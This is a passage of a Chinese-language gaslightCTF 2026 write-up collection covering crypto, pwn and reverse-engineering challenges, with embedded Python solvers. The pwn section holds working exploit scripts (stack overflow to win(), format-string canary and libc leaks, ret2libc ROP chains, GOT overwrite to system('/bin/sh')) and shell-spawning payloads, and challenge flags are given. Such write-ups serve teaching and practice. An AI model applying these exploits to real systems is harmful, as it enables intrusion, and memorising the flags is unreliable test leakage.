 regs = recover_registers(PT, CT)
 samples = build_samples(regs)
 A = [[(s >> j) & 1 for j in range(16)] for s, _ in samples]
 b = [f for _, f in samples]
 x = gauss_elim(A, b)
 if x is None:
 raise SystemExit("线性假设不成立：样本在 GF(2) 上无解")

 taps = [j for j in range(16) if x[j]]
 assert all(
 (sum(((s >> j) & 1) * x[j] for j in range(16)) & 1) == f for s, f in samples
 ), "抽头解未通过全部样本自洽校验"
 print(f"taps = {taps}")

 # 校验：用恢复的 LFSR 重放 intercepted 密文
 assert decrypt(CT, regs[0], taps) == PT, "intercepted 回放失败"

 # flag 前缀还原 IV
 iv = (FLAG_CT[0] ^ ord("g")) << 8 | (FLAG_CT[1] ^ ord("a"))
 pt = decrypt(FLAG_CT, iv, taps)
 print(f"IV = {iv:#06x}")
 print(f"FLAG = {pt.decode(errors='replace')}")
 assert pt.startswith(b"gaslightCTF{") and pt.endswith(b"}"), "flag 校验失败"


if __name__ == "__main__":
 main()

no-info（392）— 纯密文：退火先破句子，QWERTY 才是答案 Flag：gaslightCTF{0b5cur1ty-41nt-n0t-s3curity}

唯一附件是一段 242 字节的小写英文句子密文，末行是 flag 样式的字母数字串—— 无源码、无密钥线索。词形模式侦察（vqlf'z 形如 ????'?、单字母词 O）确认是单表替换族；先手动猜 tcqhgkqzogf=information 发现重复字母位矛盾，排除手工路径。上模拟退火：Project Gutenberg 语料构建 quadgram + 词频模型，40 万轮置换搜索，收敛出 95% 正确的明文（“our friend from paris examined his empty glass…"），逐词对齐出完整映射——然后才发现映射的真面目是 QWERTY 键盘替换（明文字母按字母序位置取键盘序同下标字母，q→a, w→b, e→c...）。 flag 行 0w5exk1zn-41fz-f0z-l3exkozn 数字保留、字母同一映射解出 “obscurity aint not security”——flag 内容本身就是安全格言彩蛋。

📜 no-info solve.py（33 行，映射求解后的最终版）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


#!/usr/bin/env python3
"""gaslightCTF 2026 - no-info (crypto)

The ciphertext is a monoalphabetic substitution where each plaintext letter is
replaced by the letter at the same index in the QWERTY keyboard order:
 plaintext alphabet: a b c d e f g h i j k l m n o p q r s t u v w x y z
 ciphertext (QWERTY): q w e r t y u i o p a s d f g h j k l z x c v b n m
Digits/punctuation pass through unchanged.
"""
import re
import sys

QWERTY = "qwertyuiopasdfghjklzxcvbnm"
ALPHA = "abcdefghijklmnopqrstuvwxyz"
ENC = str.maketrans(ALPHA, QWERTY) # plaintext -> ciphertext
DEC = str.maketrans(QWERTY, ALPHA) # ciphertext -> plaintext

def main():
 ct = open(sys.argv[1] if len(sys.argv) > 1 else "output.txt").read().strip()
 print("=== decrypted text ===")
 print(ct.lower().translate(DEC))

 # the flag line: last line, digits kept, letters encrypted
 flag_line = [ln for ln in ct.splitlines() if ln.strip()][-1]
 inner = flag_line.lower().translate(DEC)
 print("\n=== decrypted flag line ===")
 print(inner)
 flag = "gaslightCTF{" + inner + "}"
 print("\nFLAG:", flag)
 return flag

if __name__ == "__main__":
 main()

📜 no-info solve_sub.py 退火核心（15 行节选，全文 79 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


T = 3.0
random.seed(42)
alpha = list(letters_alpha)
for it in range(400000):
 T = 3.0 * (0.9997 ** it)
 a, b = random.sample(alpha, 2)
 # swap plaintext values of a,b in perm
 pa, pb = perm[a], perm[b]
 perm[a], perm[b] = pb, pa
 ns = score(perm)
 if ns > best_score or random.random() < math.exp((ns - best_score)/T):
 if ns > best_score:
 best_score = ns; best_perm = dict(perm)
 else:
 perm[a], perm[b] = pa, pb

Where the dream starts 3（404）— 位置递增的 Vigenère，先消位置项 Flag：gaslightCTF{theindecipherablecipher}

同家族第三作：ct[i] = (pt[i] + key[i%m] + (i//m)) % 26，比标准 Vigenère 多了一个位置递增项，题面点名 Friedman 与 Kasiski。Kasiski 三连字重复间隔 gcd=1，长文本重复片段太稀疏，此路不通。转 IC：对每个候选 m 先减去已知项 i//m，剩下的 d[i] = pt[i] + key[i%m] 是纯 Vigenère——这一步把"密钥周期"与"位置递增"解耦。按余数类分组算 IC，m=5 峰值 0.0608（英文 IC≈0.065），其余 m 全在 0.034–0.048。m 定了之后每个 key 位对 26 个候选字母做卡方拟合（期望分布=英文词频），逐位解出 d r e a m——与标题呼应。明文是 Kekulé 苯环结构之梦的著名自述，结尾一句自述 flag：“the flag is the indecipherable cipher”（Vigenère 的历史绰号 le chiffre indéchiffrable）。

📜 where-the-dream-starts-3 solve.py（72 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72


#!/usr/bin/env python3
"""Where the dream starts 3 — solve script.

Cipher: ct[i] = (pt[i] + key[i % m] + (i // m)) % 26 (m and key unknown)

Plan:
1. Guess m by Friedman's index of coincidence on d[i] = ct[i] - (i//m) mod 26.
 Correct m makes each residue class a monoalphabetic substitution of English
 -> average IC ~0.065. Here m = 5 (IC 0.0608).
2. With m fixed, d[i] = pt[i] + key[i % m] is plain Vigenere; solve each key
 position by chi-squared fit against English letter frequencies.
 -> key = "dream"
3. Decrypt and read the plaintext; the flag statement is in the plaintext.
"""
from string import ascii_lowercase
from collections import Counter
import math

ct = open('output.txt').read().strip()
n = len(ct)
cvals = [ascii_lowercase.index(c) for c in ct]

# --- step 1: find key length via Friedman IC ---
def ic(vals):
 cnt = Counter(vals)
 L = len(vals)
 if L < 2:
 return 0.0
 return sum(v * (v - 1) for v in cnt.values()) / (L * (L - 1))

best = (0, None)
for m in range(1, 61):
 groups = [[] for _ in range(m)]
 for i in range(n):
 groups[i % m].append((cvals[i] - (i // m)) % 26)
 avg = sum(ic(g) for g in groups) / m
 if avg > best[0]:
 best = (avg, m)
m = best[1]
print(f'key length m = {m} (avg IC = {best[0]:.4f})')

# --- step 2: solve Vigenere key by chi-squared ---
FREQ = {'e': 12.7, 't': 9.06, 'a': 8.17, 'o': 7.51, 'i': 6.97, 'n': 6.75,
 's': 6.33, 'h': 6.09, 'r': 5.99, 'd': 4.25, 'l': 4.03, 'c': 2.78,
 'u': 2.76, 'm': 2.41, 'w': 2.36, 'f': 2.23, 'g': 2.02, 'y': 1.97,
 'p': 1.93, 'b': 1.49, 'v': 0.98, 'k': 0.77, 'j': 0.15, 'x': 0.15,
 'q': 0.10, 'z': 0.07}

d = [(cvals[i] - (i // m)) % 26 for i in range(n)]

def chi2(vals, k):
 dec = [(v - k) % 26 for v in vals]
 cnt = Counter(dec)
 L = len(vals)
 return sum((cnt.get(ascii_lowercase.index(ch), 0) - L * p / 100) ** 2 / (L * p / 100)
 for ch, p in FREQ.items())

key = []
for j in range(m):
 vals = [d[i] for i in range(j, n, m)]
 key.append(min(range(26), key=lambda k: chi2(vals, k)))
keyword = ''.join(ascii_lowercase[k] for k in key)
print(f'keyword = "{keyword}"')

# --- step 3: decrypt ---
pt = ''.join(ascii_lowercase[(d[i] - key[i % m]) % 26] for i in range(n))
print(pt)

# flag statement in the plaintext
i = pt.find('theflagis')
print('\nflag hint:', pt[i:])
print('FLAG = gaslightCTF{' + pt[i + len('theflagis'):] + '}')

Pwn（5/5）

ram-conservation（354）— glob 传参 + uudecode 写文件 Flag：gaslightCTF{b3w4r3_th3_r4mp0calys3_fc1a12d25fe6}

受限 shell 只执行输入的第一个词（空格/TAB 都拆），还过滤危险命令。三条小事实拼成链：$cmd 不带引号时 glob 在展开阶段生效，能把文件名当参数传； uudecode 的 begin 755 x 头 mode 可控，能从 stdin 写出可执行文件；bash 对 “有 x 位但不是二进制"的文件自动当脚本解释（ENOEXEC 回退）。执行本地文件要写 ./x——bash 的 PATH 查找不含 cwd，这是调试时踩过的坑。

📜 ram-conservation 最小 POC（3 行）——点击展开

1
2
3


payload = uuencode(script, 0o755, "x") # 把 bash 脚本 uu 编码
s.sendall(b"uudecode\n"); s.sendall(payload)
s.sendall(b"./x\n") # 执行（PATH 里没有 cwd，要 ./）

badcat（447）— setuid cat 的 fd 复用 Flag：gaslightCTF{f3l1n3_d3scr1pt0r_m30www_4d08bc16c461}

/bin/badcat 是 setuid root 的 cat。对着"peek 硬编码读 8 字节"找了一下午内存破坏无果，回退到"程序有哪些系统调用、谁改变了什么全局状态"的清单式排查才看到真相是 fd 生命周期：slurp(0) 读完 stdin 会 close(0)；/flag 的 root open() 拿到最低空闲 fd=0 且从不 close，读 8 字节后偏移停在 8。于是 - 关 0 → /flag 让 root open 抢到 fd 0（读 8 字节）→ 再 - 从偏移 8 把剩余 43 字节读出来。权限只在 open 时校验，已开的 fd 降权后照读。

📜 badcat 最小 POC（3 行）——点击展开

1
2
3


badcat - /flag - < /dev/null
# psst, here's a sneak peek: gaslight
# CTF{f3l1n3_d3scr1pt0r_m30www_4d08bc16c461}

good-enough（453）— gut genug：gets 溢出 + ret 对齐 Flag：gaslightCTF{du_b1st_gut_g3nuuuuu_uuuuu_uuug_fb1ffbe73405}

第二轮 pwn 开门题，“有源码 pwn 标准链”：泄漏 → 计算 → 单发 payload。main 第一条 printf("[%p] du bist? ", main) 直接泄漏 PIE 基址；gets 读入 rbp-0x10 的 16 字节栈缓冲（无 canary），24 字节改写 saved RIP。两个坑： strncmp(buf, "gut genug", 9) 校验 payload 前 9 字节——payload 开头必须拼合法前缀（与题名 “good enough” 呼应）；直接跳 win() 时远程在 system 处静默断开——经典 movaps 栈对齐崩溃，payload 里先垫一个裸 ret gadget 对齐。（本地 qemu-user 里 lazy PLT binding 会崩是模拟器伪影，LD_BIND_NOW=1 正常。）

📜 good-enough solve.py（86 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


#!/usr/bin/env python3
"""
gaslightCTF 2026 - good-enough (pwn, 453)

Vuln: gets() stack overflow into a 16-byte buffer (no canary, PIE).
Gate: strncmp(buf, "gut genug", 9) must pass on the FIRST 9 bytes -> prefix payload
 with "gut genug".
Leak: main() prints printf("[%%p] du bist? ", main) -> PIE base leak.
Win: win() at offset 0x1228 calls system("/bin/sh").

Payload layout (gets writes from rbp-0x10):
 buf[0:16] = "gut genug" + 7 junk
 rbp[16:24] = junk
 rip[24:32] = win

Usage: ./solve.py [host] [port] (defaults to local process)
"""
import re
import sys

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST = None
PORT = None
SSL = False
if len(sys.argv) >= 3:
 HOST, PORT = sys.argv[1], int(sys.argv[2])
if len(sys.argv) >= 4 and sys.argv[3] == "ssl":
 SSL = True

BIN = "./good-enough"
MAIN_OFF = 0x1179
RET_OFF = 0x10E8 # ret gadget (deregister_tm_clones+0x28) for stack alignment
WIN_OFF = 0x1228


def main():
 if HOST:
 io = remote(HOST, PORT, ssl=SSL)
 else:
 io = process(BIN)

 # 1. grab the leak: "[<main addr>] du bist? " (no trailing newline)
 banner = io.recvuntil(b"du bist? ", timeout=8)
 log.info("banner: %r", banner)
 m = re.search(rb"\[(0x[0-9a-f]+)\]", banner)
 assert m, "no leak found"
 main_addr = int(m.group(1), 16)
 base = main_addr - MAIN_OFF
 ret = base + RET_OFF
 win = base + WIN_OFF
 log.success("main @ %#x, base @ %#x, ret @ %#x, win @ %#x", main_addr, base, ret, win)

 # 2. overflow: "gut genug" must be the first 9 bytes for strncmp to pass.
 # ret gadget first aligns rsp for system() (avoids movaps crash in glibc).
 payload = b"gut genug" + b"A" * 7 # 16 bytes fill buffer
 payload += b"B" * 8 # saved rbp
 payload += p64(ret) # saved rip -> ret gadget
 payload += p64(win) # -> win(): system("/bin/sh")
 log.info("payload (%d bytes): %r", len(payload), payload)
 io.sendline(payload)

 io.recvuntil(b"bleib einfach nur du", timeout=3)
 log.success("check passed, jumping to win()")

 # 3. shell
 if HOST:
 io.sendline(b"cat flag.txt; cat /flag; ls -la")
 else:
 io.sendline(b"cat flag.txt 2>/dev/null; id")
 try:
 io.sendline(b"echo PWNED_MARKER")
 out = io.recvall(timeout=5)
 log.info("output:\n%s", out.decode(errors="replace"))
 if b"PWNED_MARKER" in out:
 log.success("got shell")
 except Exception as e:
 log.warning("recv issue: %s", e)
 io.close()


if __name__ == "__main__":
 main()

ucas（470）— \x00\n 让 strlen 恒 0：字数门禁是纸老虎 Flag：gaslightCTF{m4n1f3st1ng_e4sy_0ff3r5_f0r_ev3ry0n3_c2e6b547e8b1}

“UCAS 申请文书"三连问，printf(name) 直接把 15 字符姓名当格式串—— %513$p%515$p 恰好 14 字符，canary（0x…00 结尾特征定位槽位）与 libc 返回地址一次到手。真正的转折在"字数门禁”：essay 用 fgets(buf, 0xfa0 - counter) 限长、counter += strlen(essay) 计数，而 fgets 读原始字节、strlen 遇 \0 截断——发 \x00\n 让 strlen 恒为 0，counter 永不增长，三段 essay 的 fgets 大小全部保持 0xfa0。essay3 缓冲只有 0x540，0xfa0 直接写穿 canary 和 saved RIP， ret2libc 收尾。（payload 里出现 0x0a 会被 fgets 截断，脚本自动重连重试，概率约 3%/次。）

📜 ucas solve.py（104 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


#!/usr/bin/env python3
"""
gaslightCTF 2026 - ucas (pwn, ~470)

Vuln 1: printf(name) format string with a 16-byte name (fgets 0x10).
 -> leaks: %513$p = stack canary, %515$p = ret addr into
 __libc_start_call_main+0x75 (libc base = leak - 0x2b285).
Vuln 2: essays read with fgets(essay_i, 0xfa0 - counter) where
 counter += strlen(essay). Sending "\x00\n" makes strlen == 0, so the
 counter never grows and EVERY essay fgets still gets size 0xfa0.
 essay3's buffer is at rbp-0x540, so 0xfa0 bytes overflow way past
 the canary (rbp-0x8, offset 0x538) and saved RIP -> ret2libc.
Gate: the "too long" counter check is bypassed (counter stays ~1336) and
 main returns normally (canary restored), landing in our ROP chain.

Usage: ./solve.py <host> <port> [ssl]
 ./solve.py # local wrapper demo (127.0.0.1:19999)
"""
import re
import sys
import time

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST, PORT, SSL = None, None, False
if len(sys.argv) >= 3:
 HOST, PORT = sys.argv[1], int(sys.argv[2])
if len(sys.argv) >= 4 and sys.argv[3] == "ssl":
 SSL = True

LIBC = "libc.so.6"
libc = ELF(LIBC)
SYSTEM = libc.symbols["system"] # 0x58860
BINSH = next(libc.search(b"/bin/sh")) # 0x1c3ed9
POP_RDI = 0xFC08D # pop rdi; ret
RET = 0x2930B # plain ret (stack alignment)
LIBC_RET_OFF = 0x2B285 # ret after `call main` in __libc_start_call_main
CANARY_POS, LIBCRET_POS = 513, 515 # format-string arg positions
OFFSET = 0x538 # essay3 buf (rbp-0x540) -> canary (rbp-0x8)


def attempt():
 if HOST:
 io = remote(HOST, PORT, ssl=SSL, timeout=8)
 else:
 io = remote("127.0.0.1", 19999, timeout=8)

 io.recvuntil(b"please enter your name: ", timeout=6)
 io.sendline(b"%513$p%515$p") # 14 bytes: canary + libc ret
 b = io.recvuntil(b"Why do you want", timeout=6)
 m = re.search(rb"welcome, (0x[0-9a-f]+)(0x[0-9a-f]+)", b)
 if not m:
 log.warning("leak parse failed: %r", b[:120])
 io.close()
 return None
 canary = int(m.group(1), 16)
 libc_base = int(m.group(2), 16) - LIBC_RET_OFF
 log.success("canary=%#x libc=%#x", canary, libc_base)

 chain = p64(libc_base + POP_RDI) + p64(libc_base + BINSH) \
 + p64(libc_base + RET) + p64(libc_base + SYSTEM)
 payload = b"A" * OFFSET + p64(canary) + b"B" * 8 + chain
 if b"\n" in payload: # fgets would truncate
 log.warning("0x0a byte in payload (canary), retrying new conn")
 io.close()
 return None

 io.send(b"\x00\n") # essay1: strlen == 0
 io.recvuntil(b"How have your qualifications", timeout=5)
 io.send(b"\x00\n") # essay2: strlen == 0
 io.recvuntil(b"What else have you done", timeout=5)
 io.send(payload + b"\n") # essay3: overflow
 io.recvuntil(b"clearing", timeout=6)
 io.sendline(b"echo PWNED_MARKER; cat flag; cat flag.txt; cat /flag; ls -la")
 try:
 out = io.recvall(timeout=6)
 except Exception as e:
 out = b""
 io.close()
 return out


def main():
 for i in range(8):
 out = attempt()
 if out is None:
 continue
 log.info("out:\n%s", out.decode(errors="replace"))
 if b"PWNED_MARKER" in out:
 log.success("got shell")
 m = re.search(rb"gaslightCTF\{[^}]+\}", out)
 if m:
 log.success("FLAG: %s", m.group(0).decode())
 sys.exit(0)
 time.sleep(1)
 log.failure("exploit failed after retries")
 sys.exit(1)


if __name__ == "__main__":
 main()

thirds（486）— 改 saved RIP 重进 main：格式串三轮不够就再来三轮 Flag：gaslightCTF{th1rd_t1m35_th3_ch4rm_1b807eeed8b1}

全场 pwn 压轴。三连 fgets(buf, 0x10) + printf(buf)，无栈溢出，每轮只有 15 字节可用。三个 printf 调用点 rsp 恒为 rbp-0x40，槽位映射完全相同（%8$=buf2[0:8]、%13$=canary、%15$=saved RIP(libc+0x2b285)、%19$=main 指针），远程泄漏直接证实。根本死结是最后一个 printf 之后没有触发点—— 直接改 printf@GOT 后没有下一次 printf 帮你调 system。破局：第一轮用 %8$hn 把 saved RIP 低 16 位改到 call [rbp-0x78]（libc+0x2b282），main 返回时重新调用 main（call 会把 0x2b285 重新压回 saved RIP 槽，第二轮结束后进程正常退出）；第二轮再用 %6$hn 写 printf@GOT → system，紧随的 printf("3> ") 变 system("3> ")（sh 语法错误无害），第三轮输入 /bin/sh 触发 system("/bin/sh")。

四个实战坑每个都值得记：① 泄漏输出后紧跟 2> 提示符，贪婪正则会把提示符的 2 吞进 V 的低半字节（saved rbp 16 对齐，v >>= 4 校验兜底）；② %hn 只能写目标低 16 位，落在 saved RIP 自己的 64K 窗口内，N 必须按 (libc+0x2b282)&0xffff 算进位，不是常数 0xb282；③ printf 与 system （0x5fb80 / 0x58860）只有落在同一 64K 窗口时低 16 位改写才成立——依赖 libc 基址低 16 位，约 55% 连接命中，不命中直接重连（ASLR 每次变化）；④ 平台 TLS 负载均衡按 SNI 路由，pwntools ssl=True 不发 SNI 直接被断，必须 server_hostname=<实例域名> 手工握手；%Nc 填充的 3~5 万空格先于一切输出，recv 要持续排空到超时。

📜 thirds solve.py（节选 129 行，全文 270 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129


#!/usr/bin/env python3
"""
gaslightCTF 2026 - thirds (pwn, ~486)

Binary: 3 rounds of fgets(buf, 0x10) + printf(buf), bufs at rbp-0x40/-0x30/-0x20.
At EVERY printf call site rsp = rbp-0x40, so the stack positional args are:
 %6$ = buf1[0:8] %7$ = buf1[8:16] %8$ = buf2[0:8] %9$ = buf2[8:16]
 %10$ = buf3[0:8] %11$ = buf3[8:16] %13$ = canary %14$ = saved rbp (V)
 %15$ = saved RIP (libc+0x2b285) %19$ = main ptr (PIE+0x1159)
(verified remotely: %15$p%19$p%14$p leaks libc/pie/V with handout offsets)

libc frame (glibc 2.42 handout): __libc_start_call_main does
 push rbp; mov rbp,rsp; sub rsp,0x90; ...; call [rbp-0x78] ; call main
 ... 0x2b285: mov edi,eax / call exit
so main_rbp = V - 0xA0 and the saved-RIP slot is at V - 0x98.

Attack (format-string only, no overflow):
 Run 1:
 R1: buf1 = "%15$p%19$p%14$p" -> leak libc, PIE, saved rbp V
 R2: buf2 = p64(V-0x98) + filler (write target = saved RIP address)
 R3: buf3 = "%8$45698c%8$hn" -> saved RIP low16 := 0xb282
 main returns -> ret to libc+0x2b282 (`call [rbp-0x78]`) -> main runs AGAIN
 (the call re-pushes 0x2b285 into the saved-RIP slot, so run 2 exits
 normally afterwards - we have our shell by then)
 Run 2:
 R1: buf1 = p64(printf@got) + filler (target for %6$ at printf(buf2))
 R2: buf2 = "%6$34912c%6$hn" -> printf@GOT low16 := 0x8860
 (system 0x58860 / printf 0x5fb80 share bytes 2+)
 then printf("3> ") = system("3> ") (syntax error, harmless)
 R3: buf3 = "/bin/sh\x00" -> printf(buf3) = system("/bin/sh") -> SHELL

Note: the platform LB routes by TLS SNI - connect with server_hostname=host.

Usage: ./solve.py <host> <port> [--probe]
"""
SYSTEM_OFF = 0x58860
PRINTF_OFF = 0x5fb80
RET_OFF = 0x2b285 # ret after `call main` in __libc_start_call_main
MAIN_OFF = 0x1159
PRINTF_GOT_OFF = 0x4008
LOOP_RIP = 0xb282 # low16 of libc+0x2b282 (call [rbp-0x78] -> main)

# ……（省略 Conn：带 SSL+SNI 的缓冲 socket 封装——pwntools ssl=True 不发 SNI，
# 平台 LB 按 SNI 路由，必须 server_hostname=host 手工握手）……


def send_chunk(io, data):
 """fgets(buf,0x10): reads up to 15 bytes, stops at \n; NUL-terminates.
 A chunk shorter than 15 bytes must end with \n to be consumed fully."""
 if len(data) >= 15:
 assert len(data) == 15, "chunk too long: %d" % len(data)
 io.send(data)
 else:
 io.send(data + b"\n")


def round1_leak(io):
 io.recvuntil(b"1> ", timeout=8)
 send_chunk(io, b"%15$p%19$p%14$p") # exactly 15 bytes
 line = io.recvuntil(b"\n", timeout=8)
 m = re.search(rb"0x([0-9a-f]+)0x([0-9a-f]+)0x([0-9a-f]+)", line)
 if not m:
 print("[!] leak parse failed: %r" % line)
 return None
 ret_leak = int(m.group(1), 16)
 main_leak = int(m.group(2), 16)
 v = int(m.group(3), 16)
 # The leak is printed directly before the "2> " prompt; the greedy regex
 # swallows the prompt's '2' as the last hex nibble of V. saved rbp is
 # 16-aligned, so drop the bogus low nibble.
 v >>= 4
 libc = ret_leak - RET_OFF
 pie = main_leak - MAIN_OFF
 if libc & 0xfff or pie & 0xfff or v & 0xf:
 print("[!] leaks not aligned: libc=%#x pie=%#x V=%#x" % (libc, pie, v))
 return None
 return dict(libc=libc, pie=pie, v=v)


# ……（省略 probe：用 %8$s 读 printf@GOT 验证远程 libc 与 handout 一致）……


def exploit(io, do_probe=False):
 leaks = round1_leak(io)
 if not leaks:
 return False
 libc, pie, v = leaks["libc"], leaks["pie"], leaks["v"]
 system = libc + SYSTEM_OFF
 printf_got = pie + PRINTF_GOT_OFF
 print("[*] libc=%#x pie=%#x V=%#x system=%#x printf@got=%#x"
 % (libc, pie, v, system, printf_got))

 saved_rip_addr = v - 0x98
 if any(b == 0x0a for b in p64(saved_rip_addr)):
 print("[!] saved_rip_addr %#x contains \\n byte - retry" % saved_rip_addr)
 return False
 # printf@GOT low16-write can only reach addresses in printf's own 64K
 # window; system must share that window (depends on libc base low16).
 if ((libc + PRINTF_OFF) & ~0xffff) != ((libc + SYSTEM_OFF) & ~0xffff):
 print("[!] printf/system in different 64K windows - retry (base&0xffff=%#x)"
 % (libc & 0xffff))
 return False

 # ---- run 1, round 2: place write target (saved RIP addr) in buf2 ----
 io.recvuntil(b"2> ", timeout=8)
 send_chunk(io, p64(saved_rip_addr) + b"A" * 7)

 # ---- run 1, round 3: saved RIP low16 := (libc+0x2b282)&0xffff -> re-enter main ----
 loop_rip = (libc + 0x2b282) & 0xffff
 io.recvuntil(b"3> ", timeout=15) # swallows padding too
 send_chunk(io, b"%%8$%dc%%8$hn" % loop_rip)

 # ---- run 2, round 1: buf1 = target for %6$ at printf(buf2) ----
 io.recvuntil(b"1> ", timeout=15)
 send_chunk(io, p64(printf_got) + b"A" * 7)

 # ---- run 2, round 2: printf@GOT low16 := system low16 ----
 io.recvuntil(b"2> ", timeout=15)
 send_chunk(io, b"%%6$%dc%%6$hn" % (system & 0xffff))
 # printf("3> ") is now system("3> ") -> sh syntax error, returns

 # ---- run 2, round 3: printf(buf3) = system("/bin/sh") ----
 time.sleep(0.6)
 send_chunk(io, b"/bin/sh\x00") # fgets reads 9 bytes incl the \n
 time.sleep(0.6)
 io.sendline(b"echo PWNED; id; cat flag; cat /flag; ls -la")
 out = io.recv(timeout=6)
 print("[*] shell output: %r" % out[:600])
 return b"PWNED" in out

Rev（2/2）

Compiled Source Sheets（290）— 从 CSS 变量里提取 ROM Flag：gaslightCTF{ch3ck_0ut_lyra-horse!!_2QY90H6F}

一个纯 CSS 的 8086 模拟器（x86CSS），程序机器码以 --__1m<addr>: <val> CSS 变量存储。非常规载体的第一步是找到编码规则：正则提取变量还原 ROM，capstone 反汇编 8086，程序对 flag 逐字节校验（xor/and/or 与常量比较）。校验类程序别手工推——校验关系全部喂给 z3。

📜 compiled-source-sheets 最小 POC（7 行）——点击展开

1
2
3
4
5
6
7


from z3 import *
inp = [BitVec(f"b{i}", 8) for i in range(9)]
s = Solver()
for a, b, c in checks: # 从反汇编提取的校验约束
 s.add((inp[a] ^ inp[b]) & 0xFF == c)
s.check(); m = s.model()
print("gaslightCTF{ch3ck_0ut_lyra-horse!!_" + bytes(m.eval(x).as_long() for x in inp).decode() + "}")

ohfrick（423）— 插桩 eval/exec：526 次小 eval 的自白 Flag：gaslightCTF{e50t3r1c_sn4k3}

62KB 单行的 Python 版 JSFuck 混淆。不硬反混淆——动态插桩 > 静态还原：包装 eval/exec 记录每一层求值字符串，比人肉还原省一个数量级。两个转折： ① 顶层结构是 eval(EXPR)(10)——外层 eval 的结果是可调用对象，直接把它换成 print( 会得到 None(...) 报错；② 只包装 eval 拿不到源码——完整链路上 526 次 eval 全是 2~8 字符的小片段（'float'、'[].clear'、'chr'），真正的 357 字符校验程序是最后通过 exec(S) 一次性执行的。包装对象的 __repr__ 要和真 builtin 完全一致（<built-in function eval>），否则 str(eval)[i] 取字符的路径全断。捕获校验源码后逐条解约束：int(f[1:3])==50、 "reset"==f[5]+f[0]+f[9]+f[0]+f[3]、str(credits).strip()[4:6]=="ks"（credits 是 Python 内置版权常量）……得到 e50t3r1c_sn4k3（leet 的 “esoteric_snake”，与题名 ohfrick 的 esoteric Python 呼应）。校验器约束不足——穷举出 8 个合法输入，7 个是数字变体乱码，语义完整的那个显然是作者存的；平台 flag 统一带 gaslightCTF{} 前缀，裸 14 字符被拒。

📜 ohfrick solve.py（112 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112


#!/usr/bin/env python3
"""gaslightCTF 2026 - ohfrick (rev, 423pts) one-shot solver.

code.py is a Python "JSFuck" style obfuscation: a single eval(EXPR)(10) chain
of tiny eval() calls building the real checker program character by character,
finally executed via exec(). Steps:

1. Wrap builtins.eval/exec with loggers (repr of the wrapper matches the real
 builtin so all str(eval)[i] char-extraction still works) -> captures the
 deobfuscated checker source.
2. Parse the checker constraints and brute-force the few unknown flag chars.

Flag: gaslightCTF{e50t3r1c_sn4k3} (leet for "esoteric_snake"; the checker
asserts len(flag)==14 so it verifies the inner 14 chars, but the platform
stores the standard gaslightCTF{...} form -- submit with the prefix)
"""
import builtins
import itertools
import re
import sys
from pathlib import Path

HERE = Path(__file__).parent
SRC = HERE / "code.py"


def deobfuscate() -> str:
 real_eval = builtins.eval
 real_exec = builtins.exec
 captured = []

 class WrappedEval:
 def __repr__(self):
 return "<built-in function eval>"

 def __call__(self, code, *args, **kwargs):
 return real_eval(code, *args, **kwargs)

 class WrappedExec:
 def __repr__(self):
 return "<built-in function exec>"

 def __call__(self, code, *args, **kwargs):
 captured.append(str(code))
 return real_exec(code, *args, **kwargs)

 builtins.eval = WrappedEval()
 builtins.exec = WrappedExec()
 builtins.input = lambda prompt="": "A" * 14 # probe; fails at 2nd assert
 try:
 real_exec(compile(SRC.read_text(), "<obf>", "exec"),
 {"__builtins__": builtins.__dict__})
 except Exception:
 pass # probe flag intentionally fails an assert
 finally:
 builtins.eval = real_eval
 builtins.exec = real_exec
 builtins.input = input
 assert captured, "failed to capture checker source"
 return captured[0]


def solve() -> str:
 src = deobfuscate()
 # The captured checker (whitespace varies): keep the constraint lines.
